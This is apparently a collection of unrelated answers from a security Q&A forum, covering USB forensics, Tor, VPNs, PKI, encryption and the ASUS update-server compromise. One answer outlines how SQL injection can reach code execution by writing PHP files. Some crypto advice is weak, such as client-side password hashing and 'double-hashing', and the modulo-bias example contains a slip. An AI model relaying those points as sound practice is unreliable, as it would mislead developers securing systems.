Either way, you certainly do not want to put the same secret value in any two distinct devices. You really want to have device-specific secrets; otherwise, someone "opening" one of your devices will endanger your whole system. With device-specific secrets, you can disable authentication for some known subverted devices, from the server, without impacting the other devices.

Without a device-side secret value of any kind, your problem has no solution. In the Internet Protocol, machines are isolated from each other; they only see IP addresses, which are not "protected" in any way. The scope of hardware elements such as MAC addresses stops at the first router (and they can be faked easily anyway).


How to find if a USB has been plugged in on a certain date? (Linux/Mac)

I found the times when USBs were plugged in with this:

# cat /var/log/messages | grep -A 20 "usb 1-1: new high-speed USB device"
May 17 16:54:28 trogdor kernel: usb 1-1: new high-speed USB device number 8 using xhci_hcd

# cat /var/log/messages | grep "Unmounted" | grep sdf
May 17 16:56:36 trogdor journal: Unmounted /dev/sdf1 on behalf of uid 1000

Then checked what files were modified in that time range with this:

# find / -executable -type f -newermt "2018-05-17 16:54:00" ! -newermt "2018-05-17 16:57:00" -ls

I agree it's not a great solution, and far too manual. As far as I can tell there is no elegant way to see in the logs if files were moved to or from a device.

Bit of explanation:
By default CentOS7 holds logs for 4 weeks after their cycled out, so the logs should be there to sift through in /var/log/messages-${date_in_some_format}.

$ cat /etc/logrotate.conf
# see "man logrotate" for details
# rotate log files weekly
weekly

# keep 4 weeks worth of backlogs
rotate 4
....
....

And anything of level info or higher is logged to /var/log/messages according to the rsyslog configuration file, including USB attach/detach in a barely-helpful format.

$ cat /etc/rsyslog.conf
# rsyslog configuration file
# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none;cron.none                /var/log/messages

I plugged in my USB and copied malicious.sh from it into /tmp/ and /home/trogdor/

-rwxr-xr-x.  1 trogdor trogdor   44 May 17 16:55  /tmp/malicious.sh
-rwxr-xr-x.  1 trogdor trogdor   44 May 17 16:56  /home/trogdormalicious.sh

In the logs I searched for when USBs were attached, and then when they were detached. I used -A to output 20 lines after the matching line, to find where the device was mounted so I was sure that this was actually the device that was being unmounted (/dev/sdf in this case). Older logs are by default stored in /var/log with messages-${date in some format}

# cat /var/log/messages | grep -A 20 "usb 1-1: new high-speed USB device"
--
May 17 16:54:28 trogdor kernel: usb 1-1: new high-speed USB device number 8 using xhci_hcd
---
May 17 16:54:29 trogdor kernel: sd 11:0:0:0: [sdf] 31258624 512-byte logical blocks: (16.0 GB/14.9 GiB)
--

Then because the last line shows it was mounted on sdf :

# cat /var/log/messages | grep "Unmounted" | grep sdf
---

May 17 16:56:36 trogdor journal: Unmounted /dev/sdf1 on behalf of uid 1000

I ripped off this for the find time range. The times are recent, but the same applies to times in the more distant past. The output has to be sifted, but it's not as bad as it could be, assuming that the malicious files are uploaded quickly.
I also checked only for executable files.

# find / -executable -type f -newermt "2018-05-17 16:54:00" ! -newermt "2018-05-17 16:57:00" -ls


What aspects of hardware configuration are significant from a security perspective?

I don't think the hardware should make a tangible difference in terms of security if you're comparing Raspberry Pi with a standard 32/64bit platform (i386, amd64 etc). Unless you consider physical security (which you don't), or perhaps from availability perspective, which is also an important part of security, but I'm guessing this is not what you're after.

From what I see about the Raspberry Pi, it's simply an ARM platform, typically used in many devices like smart-phones, routers, voip gateways etc. ARM is a very widely deployed platform, so in that respect it's still a good choice. It's definitely not obscure.

Whilst there might be some marginal differences in terms of what security features the platform can offer. For example whether or not it uses the NX bit, I would say that your primary concern is not the hardware but rather the software that you're running, and the way you expose your server to the outside world. Software itself might be vulnerable on either platforms and this is more likely to be your "weakest link". This includes the software you choose (OS, web stack, services, listeners etc) or your own application if you develop it.


How to make a certificate encrypted flash drive?

as Jeff said, depends on what kind of "certificate" you mean. if you just want to allow USB sticks on certain machines, then Win7's BitLocker To-Go as well as Truecrypt (using key files) allows for this sort of thing.


They say that the last TOR node presents all the information in clear.

Whoever "They" are they are wrong or you did understand them wrong. The data are not necessarily in clear in the exit node but the additional encryption offered by Tor is removed.

Thus, if you send plain (unencrypted) data (like plain HTTP) then it will come out of the exit node as plain again. If you put encrypted data (like HTTPS) then it will come as encrypted out of the exit node. Of course, the endpoint you ultimately access needs to understand the additional protection you've added on top of Tor. Note that this is not only true for Tor but for other VPN too.


"" is filtered, is there any way bypass it?

&lt; and &gt; are the correct ways to display the characters < and > in an HTML context.

(There are places where just escaping <>&" isn't enough—for example unquoted attribute values, or JavaScript nested inside HTML. Do you have that?)

You would usually use the term “bypass” when you know/suspect there is a vulnerability, but something else is getting in the way of exploiting it. For example, when an application fails to escape < properly to &lt; but has a lame input filter than stops you typing <script; there are various possible ways to work around that kind of measure depending on how the code is structured.

But from what you have said there is no evidence  that there is any vulnerability present at all. Displaying < from user input as &lt; is exactly what you would expect from a properly-written HTML-generating application.


I think server should authenticate itself first. The problem now is that the client can be fooled to authenticate to a third-party which will in turn actively authenticate to the server, which will complete at server end, even if it fails at client end. The man in the middle could then carry on with actions, even if the client has failed and disconnected for long time ago.

Best way here is to have the sender to send sc, AND hash(sc, hash(secret)) to the client at first step. At second step, before client generates cc, it will check that hash matches the expected value.

By double-hashing the secret, you gain additional security.

Otherwise, the communication goes out as outlined. Then it will be very secure, as the client will refuse to initiate authentication if the server-generated hash doesn't match.


Delivering data securely when the data source is the key maker

Per the stipulation that Alice and Bob may conduct a private initial exchange in person (or through some other secure channel they have been previously using) Bob simply generates a separate Private-Public key pair for each of them.  He can then hand Alice her private key and they can proceed to do normal public key cryptography from then on as if Alice had constructed her own Private-Public key pair.


What are the security risks associated with leaking client_secret in OAuth2?

Yes, the client_secret is designed, as the name might imply, to be secret.

This article from the OAuth website illustrates this:

  The client_secret is a secret known only to the application and the authorization server. It must be sufficiently random to not be guessable, [...]

  It is critical that developers never include their client_secret in public (mobile or browser-based) apps.

Emphasis mine

An oversimplified view is that the client_id is like a username, and the client_secret is like the password. An API that prints my password when giving it my e-mail address is...bad. Very bad.


Is (safe) encryption over compromised line impossible?

If the attacker is only passively listening to the connection then Diffie Hellman Key Exchange can be done to create a common key known only to the communication peers.

But, if the attacker can not only listen to the connection but also actively modify the transferred data, then the attacker might mount a man-in-the-middle attack and claim to be the expected communication partner for both A and B. This can only be prevented if  A can identify B before starting the encrypted communication and thus knows that it exchanged the key with the expected partner. For this it needs a secure way to verify the identity even if the line is compromised. This can be done by public-key cryptography. But of of course it needs some kind of prior knowledge about the expected identity of B, i.e. either A knows B already (direct trust) or it knows somebody who knows B etc (trust chain).

You'll find an implementation for all of this with SSL/TLS and the associated PKI. This is used with https in the browsers and the necessary trust anchors for building the trust chain are the public certificate agencies which are either known by the operating system or by the browser. For more information see How does SSL/TLS work?.


It's hard to say how the implementation works without knowing what they are actually using. But most likely it will be something along these lines:

The smart card has a shared secret embedded on the chip and requires a PIN
A challenge is sent to you which includes a random generated value and often the amount which needs to be transfered and may also include a time parameter (to limit the signatures validity over time).
You generate an output based on the parameters using your shared secret
The output is sent to the bank and they perform the same calculation and see if it matches. When matched they are sure you signed the transaction.


Can government track VPN traffic if it has control on both ISP and website server?

Do typical VPN providers use the same IP address to receive data from ISP and send data to the destination server (example.com)?

This does not matter much. VPN have a severely limited number of entry and exit points. The protocols used are usually different from normal web traffic (i.e OpenVPN, Wire, IPSec, ... have different communication pattern) and from the perspective of a server one can usually easily find out of the traffic comes from a VPN - this is actually often used to block such traffic when the access should be restricted to specific geographic locations.

  If that is the case, can the government identify me, by matching VPN server address and timestamp in ISP log and server log of example.com?

If somebody has access to both the VPN-protected traffic sent using the ISP and to the traffic leaving the VPN then it is likely possible to correlate incoming and outgoing traffic and based on this associate specific server traffic with a specific customer of the ISP.

But likely this is not possible based on the log files of the VPN and server, assuming that the VPN logs contain only information needed for billing. If the VPN logs instead contain a detailed log of all outgoing connections and the associated VPN customer IP address, then these can be correlated with the server log. The VPN customer IP address can then associated by the ISP with a specific ISP customer.

Note that it is likely not possible to identify the client based on a single request. But the more requests are done and the more likely traffic patterns can be associated, even if some "noise" (i.e. small delays, a bit of fake traffic) was added by the VPN.


No. Numbers would never need to be removed from the database. if they are created and then it appears they were created in error or the vulnerability were a false-positive, they would just be marked 'Rejected' indefinitely - or until proven otherwise. This avoids the possibility of the same vulnerability linking to several CVE numbers for whatever reason.

However, for your purposes... Yes, you should handle the potential for data to be removed from the DB. Regardless of how any site is supposed to function politically, it cannot be guaranteed to function like that technically.


Please critique my encryption scheme for a very small microcontroller

Well, for one, the description of your scheme is not a scheme description. This is just a collection of vague intents. The description of a cryptographic scheme must be such that by reading the description alone, I could write an independent implementation that interoperates with yours. A good description looks like this. Or that.

Also, in your description, you don't actually say how you, you know, encrypt things. You seem to allude to some key derivation scheme from which you obtain "vectors" that appear to depend on the shared secret, but not on the data itself. What these vectors do, and how the data is encrypted and decrypted, is unclear.

In any case, designing your own cryptographic algorithm is a bad idea for the main reason that it is extremely hard to come up with a secure algorithm. Most of the training in cryptography consists in understanding just that: making a secure algorithm is a hard endeavour. The conceptual reason for that is that there is no test for security. The best we can do is to write down a complete and detailed specification (including a reference implementation, test vectors, and a heavy rationale for why it might be secure) and then submit that to a bunch of cryptographers and let them try to find flaws. It takes dozens of cryptographers, and several years of effort. This is why that kind of job is done through organized "competitions" like it was done for the AES.

A ten-line question on security.SE cannot be considered to be a reasonable alternative.

Moreover, most situations that warrant encryption (to ensure data confidentiality) also need something to guarantee integrity, because attackers are evil, don't play "by the rules", and may try to alter the data in transit, possibly to learn things about the data and keys based on how the systems behave when facing the altered data. Integrity is obtained through the use of a MAC. Combining encryption and a MAC securely is harder than it looks, so, there again, it is a job for competition-powered cryptographers (usual recommended solutions are GCM and EAX, but there is, indeed, an ongoing competition to get something better).

And when you have a good protocol (a secure assembly of secure algorithms) that should fulfil your needs, then you are not done yet; you must still get an implementation that is correct, robust, efficient, and (crucially) does not leak information. Side-channel attacks can be particularly deadly for careless code in embedded systems. There again, this is a matter of science and also a lot of skill, that cannot be improvised.

To sum up, you are in need for, at least, some serious help from a professional cryptographer (no, I am not for hire at the moment). Unless you are in a case where the data you want to protect is uninteresting, which ensures ultimate security: nothing protects data more than making the data so boring and useless that nobody actually bothers to try to access it.


How should we store & share documents with restricted access

If you have an Active Directory or similar centrally managed user system, this should be quite easy to implement. Active Directory has had Access Control baked in for over a decade now.

https://technet.microsoft.com/en-us/library/cc785913(v=ws.10).aspx is an article set from Microsoft that explains this in great detail. Roughly speaking:

Create a folder system that indicates what each kind of document is for.
Define an Active Directory group setup for your different teams: one for HR, one for Accounting, one for developers, one for the helpdesk, one for management and so on.
For each group, configure the permissions that group should have to each folder. This can range from full permissions, read, write to no permissions.
Assign all your employee AD accounts to the correct group.

If you don't have a centrally managed user system with a company of 32 employees, GET ONE ASAP. It will only make your sysadmin's life easier, and it's a worthwhile investment for a company that's going to expand to 100 or more people. In addition to access control, central user management allows for much more flexibility in user management and password management and allows you much more control over not just files, but Windows settings as well.

  And people will probably make mistakes putting files in the wrong share.

This is just a matter of educating your users on proper file management. You won't be able to find a 100% technical solution unless you start going into intricate (read: unstable) in-house development projects. Use a combination of existing, well established software and user training.


Someone registered a domain name with the IP of my VPS

While it could be part of some attack, my suspicion is that it was a mistake. Perhaps the registrant had that IP previously. You'll have to check your VPS company's/plan's details. You may have a fixed IP or a variable one (not likely). Even with a fixed IP, the VPS provider likely gave that IP to a previous VPS user.
However it happened, they need to get a new IP.
There is the possibility that the DNS entry for bye-powerpoint.com still points to your IP address. If this is the case, it likely means that the site is dead (otherwise they would have noticed that their site has become inaccessible).
Actions you can take:

Contact your VPS provider and see if they can help you. They've given you an IP address that is prone to spam. They should fix it or give you another one.
Lookup the domain name in an online whois site (eg: this one) and see if you can get contact information about the registrant. You usually can get an email (though sometimes it is just a dead drop). Let them know the problem and see if they will/can correct it.
Contact the registrar that registered bye-powerpoint.com and let them know what is going on. They should fix the DNS mapping once they know it's wrong.
You can configure your web server to have a vhost that will reject requests, perhaps with a 403 status code.

Hope this helps.
EDIT: I updated the answer based on comments. Thanks everyone for the help.


How are tor hidden nodes/services found?

The best simple description of the process can be found in the Tor Project's documentation. Here are the 5 parts of the connection:

The hidden service, running on a server somewhere with a Tor client.
Introduction points, which are Tor relays chosen by the hidden service.
The database of hidden service descriptors (each descriptor consists of the public key and introduction points).
A Tor client trying to communicate with the hidden service.
A rendezvous point, a Tor relay chosen by the client.

The hidden service publishes its descriptor to the database (part of Tor's directory service) via its anonymized circuits which end at the introduction points. When a client wants to communicate, it gets the descriptor from the database, encrypts information about the rendezvous point with the service's public key, and passes it to the service via one of the introduction points. Then both the service and the client make a 3-hop Tor circuit to the rendezvous point and begin a fully encrypted, mutually anonymous conversation.

Any Tor relay can act as an introduction point or a rendezvous point without extra configuration; that's part of the function of a Tor relay.

References:

Hidden service protocol
Tor design paper, section 5
Tor rendezvous specification
Hidden service names demystified


Is there any mechanism available in Android platform for remote attestation?

To my knowledge, no Android smartphones comes with a TPM. However, in theory, a TPM could be implemented in software within ARM's TrustZone but I never seen this in practice.
Samsung KNOX offers this as part of Secure Boot and TIMA (a TEE) running within TrustZone.

They implemented Secure Boot which makes sure a trusted (known) environment is loaded (they're probably using something like HIBv4 - ARM's efuse) and n,
TIMA pause the OS from time to time and assess the integrity of Android. In TZ terms, TIMA run in the Secure World while Android is in the Normal World thus TIMA has more privilege than Android.

Secure Boot doesn't provide -at-run-time- indication about the posture of a device like Remote Attestation could do but still provides some form of guaranty over the integrity of the OS. This link also describe how they authenticate a Samsung KNOX device from which you can derive trust (Secure Boot and TIMA are running).

Other devices provides Secure Boot but, to my knowledge, KNOX is the only thing monitoring the integrity after boot up and really providing a means by which you can derive trust that those controls are in place.


When using Dropbox to sync Keepass db, is it ok to open it in synced folder?

The short answer is Yes, it is safe. KeePass does not write any plain text passwords to disk, instead it keeps the database and passwords in memory.


Is there antivirus software for iphone model 6s?

The first question may be "Why do you think your phone has malware?" Bear in mind that this diagram, while not universally correct, is a good default assumption.

Assuming your phone is not jailbroken, an antivirus app would not have the necessary permissions to perform most of the tasks you would expect of such software (such as scanning installed apps, detecting malicious software in real-time, or repairing modified system files). Similarly, unless malware contained something similar to a jailbreak hack itself, it is unlikely that it could significantly interfere with the phone's operation.

The most likely impacts of malware (for non-jailbroken phones) are things like racking up high phone bills through premium calls or SMS (a common problem on Android; not sure about iOS), tracking your location, or possibly injecting browser ads or spying on browser activity. These are all things that a malicious app could potentially do (although the risk of such apps is relatively low, it is not zero). Simply uninstalling the relevant application should fix the problem.

If your phone is jailbroken, both the likelihood of malware and its potential impacts increase significantly. Detecting and removing it is likely to be more difficult as well. The best fix in that case may well be to hard reset (completely wipe) the phone.

Resetting the phone is also probably the best approach to fixing an unexplained issue that isn't caused by malware. Make sure your data is backed up first!


You mentioned that the attacker is "taking an encrypted packet from the network". The packet is encrypted, so the attacker can't read it or modify it. If the attacker could read it or modify it, he must know the key (or have broken the encryption, but that is very unlikely for modern cipher suites). HTTPS does not protect against an attacker who knows the key. Knowledge of the key is the identification of the legitimate user.


Well, if the decryption key has to reside on the same server as the encrypted data, the data isn't really encrypted (aside from when you store a backup of your database outside of your server, and separate from the key).

So, the usual applies:

Whatever info you make available publicly must be safe to give away. That means that you want to encrypt traffic (e.g. HTTPS, MySQL over TLS). You also want to encrypt your off-site backups (you're doing off-site backups, right?).


Intel SGX and enclaves - how secured is it?

but what denies a malicious attacker to just replace the enclave, and re-sign it?

Attestation does. When you create an enclave it has no protected data in it. It should be sent into enclave after attestation. Trusted party won't give the enclave protected data unless it is attested. It won't be attested if it is signed with the key different from the one the trusted party expects.

  what denies a malicious app to just call the eclave and get my key

If the code in your enclave has rce or side channel (for example timing) vulnerability it can be possible to extract protected data from it.

Last but not least, to use enclaves you have to have a contract with Intel. SGX is insecure because Intel has trusted access to every enclave's contents. Yet another backdoor.


How is it possible for boss to know I am finding a job?

Your boss is likely making assumptions. They can't read your messages on LinkedIn (unless you have your inmails forwarded to your work email and your company is monitoring your inbox....unlikely)
The data LinkedIn publishes suggests that 80% of its users are open to hearing about new career opportunities and these days if you can even spell security then you're likely already getting many inmails with recruiters hitting you up for jobs.
I think maybe your boss is just probing....Don't address it, it's not their business.


Is Changing a File Type and Name an Effective Security Solution?

What you are doing is no kind of encryption, it is just obfuscation. It relies on security by obscurity. It may be enough to hide your files from an amateur/casual observer, but anyone analyzing the files in a hex editor is going to be able to rebuild and access them.

Effectively your method is about equal in complexity to attempting file undeletion, for which there are a host of tools available to anyone versed in digital forensics.

By contrast, the CryptoLocker malware you mentioned uses valid public-key cryptography, which is probably a method you should consider.


The error you're getting would appear to be from the underlying Java runtime as opposed to being something specific to ZAP.

Java 7 does sometimes appear to cause odd SSL issues, so as a first step in troubleshooting, you could try installing Java 6, run ZAP with that and see if that resolves your issue.

Alternatively you could try a suggested fix from here and specify

-Djava.net.preferIPv4Stack=true

when you launch zap


Question about removal-notice if sued or compromised


Can SQL injection lead to remote code execution?

SQL database systems typically have an export mechanism which can write arbitrary files on the server, e. g. SELECT ... INTO OUTFILE in MySQL. If an attacker is able to assemble such a query and isn't stopped by restrictive permissions, they can in fact create PHP scripts. Now they still need to get the server to execute the script. In the easiest case, they have write access to a web directory. If they request the script, the webserver will happily execute it.


storing user's information without been able to access it

Recovery or resets are inherently a back door. Having that capacity means that there is one.

What we have done with 1Password Teams and 1Password Families is given that capability to the Team/Family administrators but not to ourselves. (These are indirectly given the keys to all of the vaults, but they aren't given the actual encrypted vault data).

It isn't a perfect solution, but we think it is a good one. Unfortunately it isn't available for individual accounts. And so people forgetting their Master Passwords does lead to catastrophic data loss for those individuals. This is not something we take lightly, but we (and we hope our customers) prefer that risk of data loss to the threat inherent in us (or someone who compromises us) having the capacity to decrypt customer data.

Anyway, you can read about our approach to recovery (though it is sketchy in the current draft) at https://1password.com/teams/white-paper/


How to recognize the machine from which a request is coming?

There's a few different things that could lead to this.

There could be a VPN that's automatically established for you for those hosts, even if you use another VPN at work.  Many enterprise VPN clients can have complex configurations, and are able to detect whether they are on your corporate network or not to perform the VPN connection.

Another possibility is that your computer is configured to use specified DNS servers instead of those provided by your home router or ISP.  In that case, your work DNS servers might be able to return results for the affected sites while your home computer is not able to resolve those hostnames.

In some (higher security) environments, computers are issued SSL client certificates (often backed by a TPM-stored key).  In that case, the server can look for the certificate to verify the incoming connection as being from an authorized client (your work laptop) and only allow access to those hosts.


How use snort with local.rules in offline mode?

Are you trying to have Snort display only the result of your own custom rules created in local.rules?

Why not create one such as an example below in local.rules, move all the other existing rules to someplace else leaving only the local.rules for testing?
That way, only your local.rules will be checked against.

alert tcp any any -> any any (msg:"Testing TCP"; sid:10002)

When you run Snort in IDS mode, it will show up below alerts whenever there is any TCP traffic is happening.

Hope this helps.


Webserver logs show someone is trying to hack my site, what should I do?

I suggest to just ignore it, it's not worth the trouble. There are way too many infected machines out there.

If you have too much time at hand, you can do a whois query on the ip-address. Then contact the ISP, telling them that they have an infected customer. The email address to contact is usually "abuse@" domain.

In this case whois 83.140.8.18 even returns a comment saying:

  In case of abuse, send mail to abuse (at) rixtelecom.se


Need to secure (and add SSL?) RPC port 443 on Win2003 server

Yes, to set up your server with SSL, you'll need a digital certificate.  If you're IT is just saying "set up SSL" and not giving you instructions for certificate generation, then it's likely that a self-signed certificate is all you need at the moment.

There should be a ton of articles on this - needing to set up a certificate and SSL on the server is a fairly common task.  I'm not enough of a Windows 2003 geek to tell you what's good from bad, but this one at least looked reasonable:

http://www.xenocafe.com/tutorials/self_signed_cert_IIS/self_signed_cert_IIS-part1.php

I agree the MS stuff is painful to dig through on this!

In general, the things you'll need to do is:
- create a key pair
- generate a self-signed certificate

(usually these two can be done with a tool that is provided by the server or downloaded for free - like Open SSL)

configure the port with SSL/TLS, point it to the newly created key pair and certificate, and configure what it will accept from the client in terms of credentials.  If IT isn't bugging you and this is within your network and therefore somewhat protected you may be able to leave these settings at a "accept all" sort of mode.

Microsoft is extremely... special (aka annoying) about all things PKI.  They never quite implement the standards the way other companies do.  As a result, if you can, stick with Microsoft-focused tools, it'll make your life a lot easier.

Also worth a check - ask your IT if you have a local Microsoft CA lying around.  It may be easier to have your server register with the local domain and get itself a legitimately signed certificate.  I believe IIS servers have configurations that let them do this automatically.


Static analysis of Android applications using Androguard

I would take a look into apkinspector. It puts together in an easy gui androguard and other helpful tools. It will let you look at permissions that the apk uses and track down exactly where those permissions are exercised.

I recommend following blogs and RSS feeds that relate to this topic(Google for this, you'll find some good resources). Find an interesting article that profiles a malicious apk. Obtain that apk and follow the analysis yourself.

See this SE question. Check out all the answers they all have pretty good resources for you.


The software (Asus Live Update) which downloaded and installed the malicious code was written by ASUS to run on their Windows products. The goal was to automatically look for new versions of programs released on the ASUS website and update the BIOS, drivers, and applications. The update server was compromised, and malicious code was distributed signed with ASUS certificates.

ASUS Live Update was installed by the OEM as part of the Windows OS. ASUS doesn't sell computers with Ubuntu installed from the factory, so anyone running Ubuntu wouldn't have the effected software.

That limits exposure to drivers and BIOS firmwares provided by ASUS. It doesn't appear that ASUS offers Linux specific drivers for their laptops/desktops. A BIOS update though could still be effected if the malicious firmwares made their way into the APT sources.

EDIT: I looked into this a but more and it was the update software itself that was backdoored. The malicious software was hosted on liveupdate01s.asus[.]com and liveupdate01.asus[.]com ASUS update servers.  This implies those servers were intended only for the Windows application.
https://securelist.com/operation-shadowhammer/89992/


Why we need to trust the CA

We don't need to trust the CA but we could try to explicitly contact the owners of each website we visit to check if the certificate we get is the certificate they actually serve or if there is some man in the middle in between (which would result in a different certificate). Of course, you would need to have some protected way to contact the site owners so that a potential attacker could not just fake the reply of the site owner.

Of course, this does not scale well and that's why there is the Public Key Infrastructure (PKI) with trusted CA certificates as roots and certificates for the websites as leaves. For the exact process how this verification can be done by just using some trusted CA instead of trusting each sites certificate explicitly see SSL Certificate framework 101: How does the browser actually verify the validity of a given server certificate?.

  what are the things justifies that we should trust that CA ?

These are basically the same things that make you run the operating system created by some company, the browser created by some other company, have your mail managed by yet another company, buy food without the fear that it will be poisonous, drive a care without fearing that it will fall apart while driving ... - you trust that somebody else did a proper job and also will not deliberately betray you. This is essentially the basis on how people live together.

Of course, not all of that trust is justified: The CA might have been compromised or might have been ordered by the government to issue certificates which can be used to hijack specific communications. The browser or operating system might have backdoors. The food might be poisoned. Somebody might have planted a bomb at the car. But that's the risk one is usually willing to take because it is small enough. Of course, depending on where you live it might actually be an unbearable risk so you might need to take additional measures to protect you and your communication.


Authentication Schemes With Server-Side Password Hash Only

What I recommend:

Hash the password on the client's side. The client then knows the hashing mechanism for the first stage of the process. Send this hashed value to the server. Now get the server to salt and hash this already hashed password. This way, an eavesdropper will only have access to the hash at any given point, and the server will never see the plaintext.


When should I renew certification authority?

I think the most important thing to consider is the Root CA lifespan.

Why do we have a Root CA? Because we trust the Root CA and we want to trust things signed by said Root CA.

Why do we have a Sub CA? Because we don't want to use the Root CA every time we want to sign something (because it's safer to just put the private key in cold storage). So we sign a Sub CA (or intermediate) at a shorter lifespan so we have a trustworthy Cert that we can use to sign with but is also not as long lasting in case it is compromised.

Why do we trust the Root CA? Because we've all agreed to trust it.

So, the real question is how often do you want to ask people to trust a new Root Cert? The longer the lifespan, the more dangerous it is if compromised. The shorter the lifespan, the more often you have to ask people to trust a Root Cert.

A Root Cert cannot have its expiry extended.


The check is to ensure that skew doesn't occur. If your random number generator has a range of 0 to 9, and you simply take a straight modulus, you'll end up with the following outputs:

0 % 6 = 0
1 % 6 = 1
2 % 6 = 2
3 % 6 = 3
4 % 6 = 4
5 % 6 = 5
6 % 6 = 0
7 % 6 = 1
8 % 6 = 2
9 % 6 = 3

This leads to the values 4 and 5 being less common than 0, 1, 2, or 4.

The algorithm Tom gave ensures that the range of the raw RNG values is limited to a range that is evenly divisible by the output range.

So, let's say we want a range of values from 0 to 15. That's a total range of 16. Our internal RNG outputs values between 0 and 100, which would lead to skew like above. The design of the algorithm rejects values larger than or equal to 96 (because it's the largest number less than 100 that's divisible by 16) because those values would lead to skew.


Is it safe to use an executable if only unknown antiviruses detected something?

A lot of security and administration tools get picked up as something like "Potentially unwanted program"  it may be that Open Shell has been detected as being used in conjunction with attacks (which is perfectly plausible)
The 'W32.AIDetectVM.malware2' flag could plausibly mean 'Virtual Machine' i.e. 'we have detected that this application allows for arbitrary code to be executed, which could be used to circumvent malware protection' and flagged as something you need to pay attention to.  If you hadn't installed it intentionally finding a shell on your system you didn't put there is not a good sign!
Whilst it may be a false positive, it is possible that you may have a version which has been back-doored and it genuinely is dangerous in a way that only these vendors have detected; whether you trust them is a matter of risk assessment.


The details of Google's SafeBrowsing request can be found in their API documentation, which is freely available here.

On this page, the URL expected is described as "valid URL string following the RFC 1738", or more verbosely:

The url parameter indicates the URL to look up. This must be a valid and properly encoded URL. Non-ASCII characters must be in UTF-8. For example, if the URL contains an '&', it could be interpreted as the CGI parameter separator. Therefore, all reserved characters must use percent encoding, which is defined in RFC 3986 .

Therefore SafeBrowsing works with the full URL (which does not mean that, seeing too many suspicious URL matching the same domain, it may not internally flag the domain itself as suspicious, but this is Google's internal recipe and I doubt any official public information is available on the exact algorithms they use).


Since it did not come from that persons email client or computer it is really all up to what they log about the user sending the email from the form. I would find it hard to believe that they would not have the IP address of the user logged, since they require many pieces of information. Please keep in mind that if the person is not a complete idiot they may have used a proxy and anonymous email service to hide their identity. Does the site use a relay? (Does not allow users to directly send email to each other) If it does then it complicates things further. In a nutshell, would their info be in the header? Most likely no. But they should be able to give you the IP address of the person that sent the message. Whether or not it will be their IP address or a proxy IP is unknown until you can actually get the IP from them if they hand it over. Don't focus on the mail header. It sounds like it will be useless. Ask to see their database records that stores the IP address related to a posting.


By default, luksFormat initializes the encrypted partition lazily, it only writes the LUKS headers and does not rewrite random data to the "empty space" of the encrypted partition when creating new partition. This means that you can create empty LUKS partition really quickly. Truecrypt by default initializes the entire partition with random data to the entire partition at creation time, for slightly better security.

  Does LUKS actually fully encrypt data on a disk?

Yes it does.


RAND_bytes() automatically calls RAND_poll() if it has not already been done at least once. So you do not have to call it yourself. RAND_poll() feeds on what the operating system provides: on Linux, Solaris, FreeBSD and similar Unix-like systems, it will use /dev/urandom (or /dev/random if there is no /dev/urandom) to obtain a cryptographically secure initial seed; on Windows, it will call CryptGenRandom() for the same effect.

RAND_screen() is provided by OpenSSL only for backward compatibility with (much) older code which may call it (that was before OpenSSL used proper OS-based seed initialization).

So the "normal" way of dealing with RAND_poll() and RAND_screen() is to call neither. Just use RAND_bytes() and be happy.


Credit card data security - hashing, truncation and encryption

Assuming you are using a modern database and you don't care about the size of the ciphertext, as long as your are using strong encryption algorithm and have key management in place it doesn't really matter.

If you decide to encrypt only the 6 middle digits make sure you are NOT using a Format Preserving Encryption algorithm as it will limit the amount of possibilities and it would probably be possible under some condition to generate all the possible ciphertext.

This article might interest you regarding the FPE issue when encrypting only the 6 middle digits.


I have been sent an article by Azure Security Program Manager saying that Azure can be used for outgoing penetration testing with a few stipulations, mainly focused around ensuring that the outgoing tests don't affect other Azure users, e.g. outgoing DDoS slowing down the network.

https://blogs.msdn.microsoft.com/azuresecurity/2016/08/29/pen-testing-from-azure-virtual-machines/


What is the right way to implement Keyed Password Hashing?

One way to combine password hash with a secret key is to have a separate device (i.e. HSM) which encrypts password hashes sent from auth server using a key only known by the device itself.

At user login, your auth server calculates a slow hash (say, bcrypt) with proper cost setting (whatever is tolerable for the server/situation, 5ms, 20ms, 100ms?) and passes the resulting hash to the encryption device, which in turn returns the encrypted blob which you can verify on the auth server (auth server stores hash identifier, cost, salt, possible "encryption device key identifier material" and the encrypted blob).

The "encryption device" will not allow the auth server to decrypt hashes, only encrypt and return the encrypted blob to auth server.

The separate key adds another layer of security if it is not under the same thread model than the auth server/hash database.

Using a separate, narrow access device which holds a strong key defeats attacks that get hold of the leaked user database (and auth server files).


When changing a PGP passphrase, does it only affect the private key?

Your PGP private key is encrypted at rest. Altering the passphrase re-encrypts your private key, but it does not affect the actual private key itself. Your passphrase is used to encrypt your private key. From How PGP Works:

  PGP uses a passphrase to encrypt your private key on your machine. Your private key is encrypted on your disk using a hash of your passphrase as the secret key. You use the passphrase to decrypt and use your private key.

When you change your passphrase, the protection around your private key has been altered, but the key itself has not. Consequently, the matching public key is still valid, since its corresponding private key is unchanged.

You can back up your newly encrypted private key, since the encryption protection around the key has changed, but the key itself is unchanged.


What can a hacker do if I publish my email id and password but have 2FA on all of my accounts?

This depends on the kind of 2FA and of the policies of the service providers. If 2FA is strictly bound to a dedicated physical device (U2F token or similar) it should be kind of impossible to bypass it directly unless the attacker gets hold of this physical device. If 2FA is instead only implemented using an app on a mobile phone the attacker might additionally try to target the phone itself. If 2FA is SMS based there are even more attack vectors.

It also depends is the second factor is bound to the domain you visit (as in WebAuthn) or not (SMS and others). In the second case the attacker might trick you into entering the token into some look-a-like phishing site instead of the real one.

And finally it depends on what processes are implemented at the service provider in case of lost 2FA access. For example if there are only some (often easy to guess) security questions to answer in order to disable 2FA or change the phone number for SMS 2FA then it does not help a lot if the client still owns the original 2FA.


How dangerous is leaking knowledge about existence of objects which the user is not allowed to access?

Your assessment of the risk is correct: leaking this data could facilitate an attack by helping the attacker collect information. So even if there is no direct risk, it could speed up the information gathering phase of an attack.

If you have any concern, the usual solution is to sanitise your responses as needed - you could replace those 403's with 404's for example. But if, as you have mentioned, this is high effort - it's worth weighing up whether the slight leakage risk needs remediation.


Is authenticating via the database secure

Best practice is to used salted hashes for password.  Comparing two salted hashes involves removing the salt from the stored password, appending to the clear-text password and rehashing and comparing equality.  Because of this, it is not something that could easily be part of a SQL WHERE statement.

While I suppose this could be implemented at the DB layer, most implementations will retrieve the user by ID, and then compare the hashes in the app layer.


Keyboard firmware hack - Linux vulnerable?

Nothing.

If you cannot trust your hardware, you cannot trust it.

